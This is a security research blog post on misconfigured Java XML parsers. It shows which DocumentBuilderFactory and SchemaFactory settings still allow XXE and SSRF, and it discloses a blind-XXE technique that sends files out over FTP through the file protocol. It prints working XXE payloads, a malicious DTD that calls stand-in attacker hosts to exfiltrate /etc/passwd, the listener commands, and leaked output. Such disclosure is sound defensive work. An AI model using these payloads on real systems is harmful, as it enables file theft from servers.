

FEB 17  
2021

## Misconfigurations in Java XML Parsers

[learn more about canvas](#)

posted by:  
Immunity Inc

[learn more about swarm](#)

EXPLOITATION

[learn more about silica](#)

## Misconfigurations in Java XML Parsers

XML is a powerful data format that can elegantly encapsulate any conceivable kind of information. To ensure that this complex data adheres to a pre-defined structure, XML documents can specify a DTD – a helper document that defines the expected structure of the data. And to help simplify the contents of a complex document, XML allows for External Entities – bits of content that can be included in a document by reference, like a link in a web page. DTDs and External Entities are additional content for XML software to process, but this kind of software is often written with a focus on the actual XML document, with less attention paid to the details of processing DTDs and External Entities. An XML External Entity attack, or XXE attack, attempts to find vulnerabilities in software that processes DTDs and External Entities of XML documents.

[learn more about el jefe](#)

In particular, Java applications using XML parser libraries are often vulnerable to XXE because the default settings for most Java XML parsers is to have DTDs processing and external entities enabled.

[VIEW ALL IMMUNITY PRODUCTS](#)

The definitive solution to avoid XXE issues is to disable DTDs (and External Entities) processing. However, for several reasons, developers do not disable it completely. It could be by mistake because the application parser needs DTDs or because it is simply not possible to do it. When DTD processing is necessary, in order to avoid XXE issues, developers should disable external entities and external document type declarations.

### Consulting:

- Application Vulnerability Analysis
- Network Security Assessment
- Web Application Testing
- Wireless Security Assessment
- Process Review
- Source Code Analysis
- Exploit Development
- Penetration Scanning

Disabling these features varies, depending on each parser which, in some cases, could be confusing for the developer and could lead to misconfigurations that expose the application to a security issue. In the present article we will be discussing a few scenarios and offer a novel one that is not always considered.

### Certifications:

Certified Network Offense Professional (NOP)

Let's start by taking a look at `javax.xml.parsers.DocumentBuilderFactory`:

[VIEW ALL IMMUNITY SERVICES](#)

```
File fXmlFile = new File("Test.xml");
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder dBuilder = dbFactory.newDocumentBuilder();
Document doc = dBuilder.parse(fXmlFile);
```

This is the default configuration for `DocumentBuilderFactory` which IS affected by an XXE issue.

Occasionally, I have seen the following settings in the `DocumentBuilderFactory` object to try to remediate the security hole:

```
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```

This configuration does prevent XXE attacks as well as Xinclude attacks. It does not, however, prevent Server-Side Request Forgery (SSRF), since DTD processing is still enabled. One way to abuse this is to use a "Public" entity such as:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE myPublicEntity PUBLIC "-//W3C//DTD HTML 4.01//EN"
'http://someIP:4444/IMMUNITY' >
```

But what if we use the following settings:

```
dbf.setFeature("http://xml.org/sax/features/external-general-
entities", false)
dbf.setFeature("http://xml.org/sax/features/external-parameter-
entities", false);
```

This will protect against XXE, since external entities are disabled, as well as external parameter entities. However, we can still perform SSRF with the help of "Public" entities. In order to fix this, the developer needs to add the following setting:

```
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-
external-dtd", false);
```

This will prevent against SSRF using 'Public' entities. Of course, it would be safer to disable the DTDs completely by using:

```
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-
decl", true);
```

Let's try again, what if we use:

```
dbf.setAttribute(XMLConstants.FEATURE_SECURE_PROCESSING, true);
```

The Java 7/8 documentation reference says:

**setFeature**

```
public abstract void setFeature(String name,
                               boolean value)
                               throws ParserConfigurationException
```

Set a feature for this DocumentBuilderFactory and DocumentBuilders created by this factory.

Feature names are fully qualified URIs. Implementations may define their own features. A `ParserConfigurationException` is thrown if this `DocumentBuilderFactory` or the `DocumentBuilders` it creates cannot support the feature. It is possible for a `DocumentBuilderFactory` to expose a feature value but be unable to change its state.

All implementations are required to support the `XMLConstants.FEATURE_SECURE_PROCESSING` feature. When the feature is:

- `true`: the implementation will limit XML processing to conform to implementation limits. Examples include entity expansion limits and XML Schema constructs that would consume large amounts of resources. If XML processing is limited for security reasons, it will be reported via a call to the registered `ErrorHandler.fatalError(SAXParseException exception)`. See `DocumentBuilder.setErrorHandler(org.xml.sax.ErrorHandler errorHandler)`.
- `false`: the implementation will process XML according to the XML specifications without regard to possible implementation limits.

**Parameters:**

`name` - Feature name.

`value` - Is feature state true or false.

**Throws:**

`ParserConfigurationException` - If this `DocumentBuilderFactory` or the `DocumentBuilders` it creates cannot support this feature.

`NullPointerException` - If the `name` parameter is null.

But this configuration does not prevent XXE or SSRF and, honestly, I couldn't find any difference using this setting during my tests. Maybe the objective is only to prevent against DoS (as mentioned in the documentation).

Then we have:

**FEATURE\_SECURE\_PROCESSING**

```
public static final String FEATURE_SECURE_PROCESSING
```

Feature for secure processing.

- `true` instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.
- `false` instructs the implementation to process XML in accordance with the XML specifications ignoring security issues such as limits on XML constructs to avoid conditions such as denial of service attacks.

**See Also:**

Constant Field Values

This feature could bring some confusion and a false sense of security to developers, as it doesn't provide any protection against XXE or SSRF through "Public" entities.

Let's look at another example, using the `javax.xml.validation.SchemaFactory`:

```
String filepath = "Test_Schema.xml";
String xmlSchema = new
String(Files.readAllBytes(Paths.get(filepath)));

SchemaFactory factory =
SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");

Schema schema = factory.newSchema(new StreamSource(new
StringReader(xmlSchema)));
```

This code excerpt is by default affected by XXE. The general recommendation is to put the following in order to prevent XXE issues:

```
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
```

Both flags are pretty much the same and allow the developers to enable and disable which protocols are available. The documentation about them says:

*Default value: The default value is implementation specific and therefore not specified.  
The following options are provided for consideration:*

1. an empty string to deny all access to external references;
2. a specific protocol, such as file, to give permission to only the protocol;
3. the keyword "all" to grant permission to all protocols.

Now, let's analyze the following configuration:

```
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "file");
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
```

The first line allows only the use of the file protocol, and it seems that the feature "ACCESS\_EXTERNAL\_DTD" has prevalence over "ACCESS\_EXTERNAL\_SCHEMA", which is configured to deny all access to external references.


This configuration is affected by a classic XXE injection issue if the results of the parsing are returned to the user. If you remember, the 'Classic' payload uses \*file\* protocol:

```
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM 'file:///etc/passwd'>
]>
<foo>&xxe;</foo>
```

However, this configuration **appears** to prevent a Blind XXE because http/s and ftp are not allowed. Therefore, if the app does not show the results to the user (no classic XXE injection is possible), this configuration **seems** safe by preventing Blind XXE attacks. Turns out this isn't true.

By digging a little bit deeper on the JDK protocol handlers, last year I discovered that **it is also possible to exfiltrate a file using FTP without using the ftp schema directly**.

Analyzing the method `openConnection()` from `sun.net.www.protocol.file.handler` class, it is possible to make an FTP request if the URL is not null nor "" nor "~" or not equal to "localhost" (1). Therefore, with simply an IP address we can enter in this section of the code and it is easy to see that it is creating a URL instance using "ftp" (2). No port is passed as parameter and the handler uses the default port for FTP, port 21. Then the `openConnection()` method from the URL class is called to perform the connection via FTP (3).



```

17 public synchronized URLConnection openConnection(URL var1, Proxy var2) throws IOException {
18     String var3 = var1.getHost();
19     if (var3 != null && !var3.equals("") && !var3.equals(".") && !var3.equalsIgnoreCase("localhost")) { 1
20         URLConnection var4;
21         try {
22             URL var5 = new URL("ftp:" + var1.getHost() + (var1.getPort() == null ? "" : ":" + var1.getPort())); 2
23             if (var2 != null) {
24                 var4 = var5.openConnection(var2);
25             } else {
26                 var4 = var5.openConnection(); 3
27             }
28         } catch (IOException var7) {
29             var4 = null;
30         }
31
32         if (var4 == null) {
33             throw new IOException("Unable to connect to: " + var1.toExternalForm());
34         } else {
35             return var4;
36         }
37     } else {
38         File var6 = new File(ParseUtil.decode(var1.getPath()));
39         return this.createFileURLConnection(var1, var6);
40     }
41 }

```

Therefore, this configuration does not mitigate a Blind XXE, as we can still use the FTP via file protocol.

## Exploitation

The procedure to leverage this issue will be like the 'Out of Bounds' XXE or Blind XXE, however in this case, it will require two FTP services, one to host the malicious dtd and another one to receive the content of the file that we want to exfiltrate. Remember we need to use in both cases the default port for FTP, port 21.

This is the XML payload:

```

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE data [
  <!ENTITY % dtd SYSTEM "file:///attacker.com:5555/evil_ftp.dtd">
  %dtd;
]>
<data>&send;</data>

```

Again, the port does not affect the behavior. It will always use the FTP default port.

This is the content of the evil\_ftp.dtd:

```

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY send SYSTEM
'file:///attacker2.com:5555/%file;'>">
%param1;

```

Now we need to host the evil\_ftp.dtd using a FTP server.

The steps are the following:

1. Host the `_evil_ftp.dtd` file, which should be in the current directory, using:
 

```
sudo python xxeftp_mod.py
```
2. Start the ftp service in another host:
 

```
sudo python xxeftp.py
```
3. Send the XML payload to the parser.
4. Profit!

```

anibal@pulpo:~/java_playground/XXE/ftp$ sudo python xxeftp.py
XXE-FTP listening
Connected by %s ('172.16.20.135', 50742)
USER anonymous

PASS Java1.8.0_102@

TYPE I

/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

```

If you want to test it, you can use the `_jspx/InlineSchemaValidator.java_` sample provided by

Xerces2 source code in its latest release [Xerces-J-src.2.12.1.tar.gz]  
(<https://apache.dattatec.com//xerces/j/source/Xerces-J-src.2.12.1.tar.gz>).

This sample application is vulnerable by default to XXE and it can be use it to test some of the anti-XXE features that I described in this post. To test the OOB Technique using the 'file' payload you only need to add "ACCESS\_EXTERNAL\_DTD" attribute to the `javax.xml.parsers.DocumentBuilderFactory` instance located at line 479.

## Final Comments

1. If the XML parser has DTD processing enabled, analyze all the other settings instead. The applied settings could lead to other vulnerabilities (less serious but still important as SSRF).
2. Check it on a local environment, create an XML parser with the same settings and test it. You can also debug it and analyze it.
3. Sometimes the XML Parser settings do not do what it seems, you need to track them down through the code.
4. The best solution is to disable DTD processing completely.
5. Some things about the exfiltration: Latest updates of Java 7 (1.7\_80) and 8 (1.8.0\_281) does not allowed illegal characters in an FTP's URLs, so it is no longer possible to exfiltrate files containing LF (Line Feed) characters, like `/etc/passwd`, however you can still exfiltrate `/etc/issue` as a simple Proof-of-Concept. This URL validation is present in the FTP handler since Java version 11.

~Anibal Irrera

[Newer Post](#) [Older Post](#)

---

### // RECENT POSTS:

Misconfigurations in Java XML Parsers

### // SUBSCRIBE:

Subscribe to: Post Comments (Atom)

10/7/24, 9:44 PM

Immunity Services: Misconfigurations in Java XML Parsers

1130 WASHINGTON AVE. 8th FLOOR  
MIAMI BEACH, FLORIDA 33139

[immunityinc.com](https://immunityinc.com)

(786) 220 0600

[admin@immunityinc.com](mailto:admin@immunityinc.com)

#immunityinc  
#InfiltrateCon